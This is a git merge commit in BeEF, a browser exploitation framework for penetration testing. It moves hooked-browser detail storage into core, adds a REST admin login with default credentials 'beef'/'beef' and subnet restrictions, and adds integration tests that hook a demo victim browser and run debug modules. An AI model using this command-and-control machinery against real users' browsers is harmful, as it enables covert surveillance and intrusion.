Merge remote-tracking branch 'upstream/master'

Conflicts:
	config.yaml
This commit is contained in:
antisnatchor
2012-04-18 15:27:22 +01:00
25 changed files with 290 additions and 130 deletions

View File

@@ -46,8 +46,8 @@ beef:
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
web_server_imitation:
enable: false
type: "apache" #supported: apache, iis
enable: false
type: "apache" #supported: apache, iis
database:
# For information on using other databases please read the
@@ -66,6 +66,11 @@ beef:
db_passwd: "beef123"
db_encoding: "UTF-8"
# Credentials to authenticate in BeEF. Used by both the RESTful API and the Admin_UI extension
credentials:
user: "beef"
passwd: "beef"
crypto_default_value_length: 80
# You may override default extension configuration parameters here

View File

@@ -30,6 +30,7 @@ require 'core/main/handlers/modules/beefjs'
require 'core/main/handlers/modules/command'
require 'core/main/handlers/commands'
require 'core/main/handlers/hookedbrowsers'
require 'core/main/handlers/browserdetails'
# @note Include the network stack
require 'core/main/network_stack/handlers/dynamicreconstruction'
@@ -50,6 +51,7 @@ require 'core/hbmanager'
require 'core/main/rest/handlers/hookedbrowsers'
require 'core/main/rest/handlers/modules'
require 'core/main/rest/handlers/logs'
require 'core/main/rest/handlers/admin'
require 'core/main/rest/api'
## @note Include Websocket

View File

@@ -27,6 +27,7 @@ require 'core/main/models/log'
require 'core/main/models/command'
require 'core/main/models/result'
require 'core/main/models/optioncache'
require 'core/main/models/browserdetails'
# @note Include the constants
require 'core/main/constants/browsers'

View File

@@ -14,18 +14,15 @@
# limitations under the License.
#
module BeEF
module Extension
module Initialization
#
# The http handler that manages the return of the initial browser details.
#
class Handler
module Core
module Handlers
# @note Retrieves information about the browser (type, version, plugins etc.)
class BrowserDetails
@data = {}
HB = BeEF::Core::Models::HookedBrowser
BD = BeEF::Extension::Initialization::Models::BrowserDetails
BD = BeEF::Core::Models::BrowserDetails
def initialize(data)
@data = data
@@ -33,7 +30,7 @@ module BeEF
end
def err_msg(error)
print_error "[INITIALIZATION] #{error}"
print_error "[Browser Details] #{error}"
end
def setup()

View File

@@ -14,8 +14,7 @@
# limitations under the License.
#
module BeEF
module Extension
module Initialization
module Core
module Models
#
# Table stores the details of browsers.
@@ -26,16 +25,7 @@ module Models
include DataMapper::Resource
storage_names[:default] = 'extension_initialization_browserdetails'
#
# Class constructor
#
def initialize(config)
super(config)
end
storage_names[:default] = 'core_browserdetails'
property :session_id, String, :length => 255, :key => true
property :detail_key, String, :length => 255, :lazy => false, :key => true
property :detail_value, Text, :lazy => false
@@ -59,7 +49,7 @@ module Models
return nil if not get(session_id, detail_key).nil?
# store the returned browser details
browserdetails = BeEF::Extension::Initialization::Models::BrowserDetails.new(
browserdetails = BeEF::Core::Models::BrowserDetails.new(
:session_id => session_id,
:detail_key => detail_key,
:detail_value => detail_value)
@@ -120,4 +110,3 @@ module Models
end
end
end
end

View File

@@ -35,9 +35,29 @@ module BeEF
end
end
module RegisterAdminHandler
def self.mount_handler(server)
server.mount('/api/admin', BeEF::Core::Rest::Admin.new)
end
end
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterHooksHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterModulesHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterLogsHandler, BeEF::API::Server, 'mount_handler')
BeEF::API::Registrar.instance.register(BeEF::Core::Rest::RegisterAdminHandler, BeEF::API::Server, 'mount_handler')
#
# Check the source IP is within the permitted subnet
# This is from extensions/admin_ui/controllers/authentication/authentication.rb
#
def self.permitted_source?(ip)
# get permitted subnet
permitted_ui_subnet = BeEF::Core::Configuration.instance.get("beef.restrictions.permitted_ui_subnet")
target_network = IPAddr.new(permitted_ui_subnet)
# test if ip within subnet
return target_network.include?(ip)
end
end
end

View File

@@ -0,0 +1,75 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Core
module Rest
class Admin < BeEF::Core::Router::Router
config = BeEF::Core::Configuration.instance
before do
# error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
'Expires' => '0'
end
# @note Authenticate using the config set username/password to retrieve the "token" used for subsquent calls.
# Return the secret token used for subsquene tAPI calls.
#
# Input must be specified in JSON format
#
# +++ Example: +++
#POST /api/admin/login HTTP/1.1
#Host: 127.0.0.1:3000
#Content-Type: application/json; charset=UTF-8
#Content-Length: 18
#
#{"username":"beef", "password":"beef"}
#===response (snip)===
#HTTP/1.1 200 OK
#Content-Type: application/json; charset=UTF-8
#Content-Length: 35
#
#{"success":"true","token":"122323121"}
#
post '/login' do
request.body.rewind
begin
data = JSON.parse request.body.read
# check username and password
if not (data['username'].eql? config.get('beef.credentials.user') and data['password'].eql? config.get('beef.credentials.passwd') )
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{request.ip} has failed to authenticate in the application.")
halt 401
else
{ "success" => true,
"token" => "#{config.get('beef.api_token')}"
}.to_json
end
rescue Exception => e
error 400
end
end
private
end
end
end
end

View File

@@ -23,6 +23,7 @@ module BeEF
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
@@ -54,7 +55,7 @@ module BeEF
end
def get_hb_details(hb)
details = BeEF::Extension::Initialization::Models::BrowserDetails
details = BeEF::Core::Models::BrowserDetails
{
'name' => details.get(hb.session, 'BrowserName'),

View File

@@ -23,6 +23,7 @@ module BeEF
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',

View File

@@ -23,6 +23,7 @@ module BeEF
before do
error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache',
@@ -40,6 +41,7 @@ module BeEF
next if !BeEF::Module.is_enabled(modk)
mods_hash[i] = {
'id' => mod.id,
'class' => config.get("beef.module.#{modk}.class"),
'name' => config.get("beef.module.#{modk}.name"),
'category' => config.get("beef.module.#{modk}.category")
}

View File

@@ -82,6 +82,9 @@ module BeEF
# Create http handler for the javascript hook file
self.mount("#{@configuration.get("beef.http.hook_file")}", BeEF::Core::Handlers::HookedBrowsers.new)
# Create handler for the initialization checks (Browser Details)
self.mount("/init", BeEF::Core::Handlers::BrowserDetails)
# Dynamically get the list of all the http handlers using the API and register them
BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'mount_handler', self)

View File

@@ -29,7 +29,7 @@ module API
# Get the browser detail from the database.
#
def get_browser_detail(key)
bd = BeEF::Extension::Initialization::Models::BrowserDetails
bd = BeEF::Core::Models::BrowserDetails
(print_error "@session_id is invalid";return) if not BeEF::Filters.is_valid_hook_session_id?(@session_id)
bd.get(@session_id, key)
end

View File

@@ -17,9 +17,7 @@ beef:
extension:
admin_ui:
name: 'Admin UI'
enable: true
username: "beef"
password: "beef"
enable: true
favicon_file_name: "favicon.ico"
favicon_dir: "/images"
login_fail_delay: 1

View File

@@ -69,7 +69,7 @@ class Authentication < BeEF::Extension::AdminUI::HttpController
end
# check username and password
if not (username.eql? config.get('beef.extension.admin_ui.username') and password.eql? config.get('beef.extension.admin_ui.password') )
if not (username.eql? config.get('beef.credentials.user') and password.eql? config.get('beef.credentials.passwd') )
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.ip} has failed to authenticate in the application.")
return
end

View File

@@ -23,7 +23,7 @@ module Controllers
#
class Modules < BeEF::Extension::AdminUI::HttpController
BD = BeEF::Extension::Initialization::Models::BrowserDetails
BD = BeEF::Core::Models::BrowserDetails
def initialize
super({

View File

@@ -85,9 +85,9 @@ class Panel < BeEF::Extension::AdminUI::HttpController
# create a hash of simple hooked browser details
def get_simple_hooked_browser_hash(hooked_browser)
browser_icon = BeEF::Extension::Initialization::Models::BrowserDetails.browser_icon(hooked_browser.session)
os_icon = BeEF::Extension::Initialization::Models::BrowserDetails.os_icon(hooked_browser.session)
domain = BeEF::Extension::Initialization::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session)
os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session)
domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
return {
'session' => hooked_browser.session,

View File

@@ -151,7 +151,7 @@ class Core
])
BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 30)).each do |zombie|
tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Extension::Initialization::Models::BrowserDetails.os_icon(zombie.session))]
tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))]
end
puts "\n"
@@ -182,7 +182,7 @@ class Core
])
BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 30)).each do |zombie|
tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Extension::Initialization::Models::BrowserDetails.os_icon(zombie.session))]
tbl << [zombie.id,zombie.ip,beef_logo_to_os(BeEF::Core::Models::BrowserDetails.os_icon(zombie.session))]
end
puts "\n"

View File

@@ -19,7 +19,7 @@ module Console
class ShellInterface
BD = BeEF::Extension::Initialization::Models::BrowserDetails
BD = BeEF::Core::Models::BrowserDetails
def initialize(config)
self.config = config

View File

@@ -1,38 +0,0 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Initialization
module RegisterHttpHandler
# Register API calls
BeEF::API::Registrar.instance.register(BeEF::Extension::Initialization::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
#
# Register the http handler for the initialization script that retrieves
# all the information about hooked browsers.
#
def self.mount_handler(beef_server)
beef_server.mount('/init', BeEF::Extension::Initialization::Handler)
end
end
end
end
end

View File

@@ -1,21 +0,0 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
extension:
initialization:
enable: true
name: 'Initialization'

View File

@@ -1,32 +0,0 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
module BeEF
module Extension
module Initialization
extend BeEF::API::Extension
@short_name = @full_name = 'initialization'
@description = 'retrieves information about the browser (type, version, plugins etc.)'
end
end
end
require 'extensions/initialization/models/browserdetails'
require 'extensions/initialization/handler'
require 'extensions/initialization/api'

View File

@@ -25,7 +25,7 @@ beef.execute(function() {
var timeout = "<%= @timeout %>";
var dataType = "<%= @dataType %>";
beef.net.request(scheme, method, domain, port, path, anchor, data, timeout, dataType, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, "response="+JSON.stringify(response)); } );
beef.net.request(scheme, method, domain, port, path, anchor, data, timeout, dataType, function(response) { beef.net.send("<%= @command_url %>", <%= @command_id %>, JSON.stringify(response)); } );
});

View File

@@ -1,6 +1,17 @@
BEEF_TEST_DIR = "/tmp/beef-test/"
# General constants
ATTACK_DOMAIN = "attacker.beefproject.com"
VICTIM_DOMAIN = "attacker.beefproject.com"
ATTACK_URL = "http://" + ATTACK_DOMAIN + ":3000/ui/panel"
VICTIM_URL = "http://" + VICTIM_DOMAIN + ":3000/demos/basic.html"
# Credentials
BEEF_USER = "beef"
BEEF_PASSWD = "beef"
# RESTful API root endpoints
RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks"
RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs"
RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules"
RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin"

View File

@@ -0,0 +1,144 @@
require 'test/unit'
require 'rest_client'
require 'json'
require '../common/test_constants'
require '../common/beef_test'
class TC_DebugModules < Test::Unit::TestCase
@@token = nil
@@hb_session = nil
@@mod_debug_long_string = nil
@@mod_debug_ascii_chars = nil
@@mod_debug_test_network = nil
# Test RESTful API authentication with default credentials, returns the API token to be used later.
def test_restful_auth
response = RestClient.post "#{RESTAPI_ADMIN}/login",
{ 'username' => "#{BEEF_USER}",
'password' => "#{BEEF_PASSWD}"}.to_json,
:content_type => :json,
:accept => :json
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
success = result['success']
@@token = result['token']
assert(success)
end
# Test RESTful API hooks handler hooking a victim browser, and then retrieving his BeEF session
def test_restful_hooks
BeefTest.new_victim
sleep 2.0
response = RestClient.get "#{RESTAPI_HOOKS}", {:params => {:token => @@token}}
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
@@hb_session = result["hooked-browsers"]["online"]["0"]["session"]
assert_not_nil @@hb_session
end
# Test RESTful API modules handler, retrieving the IDs of the 3 debug modules currently in the framework
def test_restful_modules
response = RestClient.get "#{RESTAPI_MODULES}", {:params => {:token => @@token}}
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
result.each do |mod|
case mod[1]["class"]
when "Test_return_long_string"
@@mod_debug_long_string = mod[1]["id"]
when "Test_return_ascii_chars"
@@mod_debug_ascii_chars = mod[1]["id"]
when "Test_network_request"
@@mod_debug_test_network = mod[1]["id"]
end
end
assert_not_nil @@mod_debug_long_string
assert_not_nil @@mod_debug_ascii_chars
assert_not_nil @@mod_debug_test_network
end
# Test debug module "Test_return_long_string" using the RESTful API
def test_return_long_string
repeat_string = "BeEF"
repeat_count = 20
response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_long_string}?token=#{@@token}",
{ 'repeat_string' => repeat_string,
'repeat' => repeat_count}.to_json,
:content_type => :json,
:accept => :json
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
success = result['success']
assert success
cmd_id = result['command_id']
sleep 3.0
response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_long_string}/#{cmd_id}", {:params => {:token => @@token}}
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
data = JSON.parse(result["data"])
assert_not_nil data
assert_equal data["data"],(repeat_string * repeat_count)
end
# Test debug module "Test_return_ascii_chars" using the RESTful API
def test_return_ascii_chars
response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}?token=#{@@token}",
{}.to_json, # module does not expect any input
:content_type => :json,
:accept => :json
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
success = result['success']
assert success
cmd_id = result['command_id']
sleep 3.0
response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_ascii_chars}/#{cmd_id}", {:params => {:token => @@token}}
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
data = JSON.parse(result["data"])
assert_not_nil data
ascii_chars = ""
(32..127).each do |i| ascii_chars << i.chr end
assert_equal ascii_chars,data["data"]
end
# Test debug module "Test_network_request" using the RESTful API
def test_return_network_request
# Test same-domain request (response code and content of secret_page.html)
response = RestClient.post "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_test_network}?token=#{@@token}",
#override only a few parameters, the other ones will have default values from modules's module.rb definition
{"domain" => ATTACK_DOMAIN, "port" => "3000", "path" => "/demos/secret_page.html"}.to_json,
:content_type => :json,
:accept => :json
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
success = result['success']
assert success
cmd_id = result['command_id']
sleep 3.0
response = RestClient.get "#{RESTAPI_MODULES}/#{@@hb_session}/#{@@mod_debug_test_network}/#{cmd_id}", {:params => {:token => @@token}}
assert_equal 200, response.code
assert_not_nil response.body
result = JSON.parse(response.body)
data = JSON.parse(result["data"])
res = JSON.parse(data["data"])
assert_not_nil res
assert_equal 200, res["status_code"]
assert res["response_body"].include?("However you should still be capable of accessing it\n\t\tusing the Requester")
end
end

View File

@@ -23,6 +23,7 @@ Capybara.run_server = false # we need to run our own BeEF server
require 'selenium/webdriver'
require './check_environment' # Basic log in and log out tests
require './tc_debug_modules' # RESTful API tests (as well as debug modules)
require './tc_login' # Basic log in and log out tests
class TS_BeefIntegrationTests
@@ -30,6 +31,7 @@ class TS_BeefIntegrationTests
suite = Test::Unit::TestSuite.new(name="BeEF Integration Test Suite")
suite << TC_CheckEnvironment.suite
suite << TC_DebugModules.suite
suite << TC_login.suite
return suite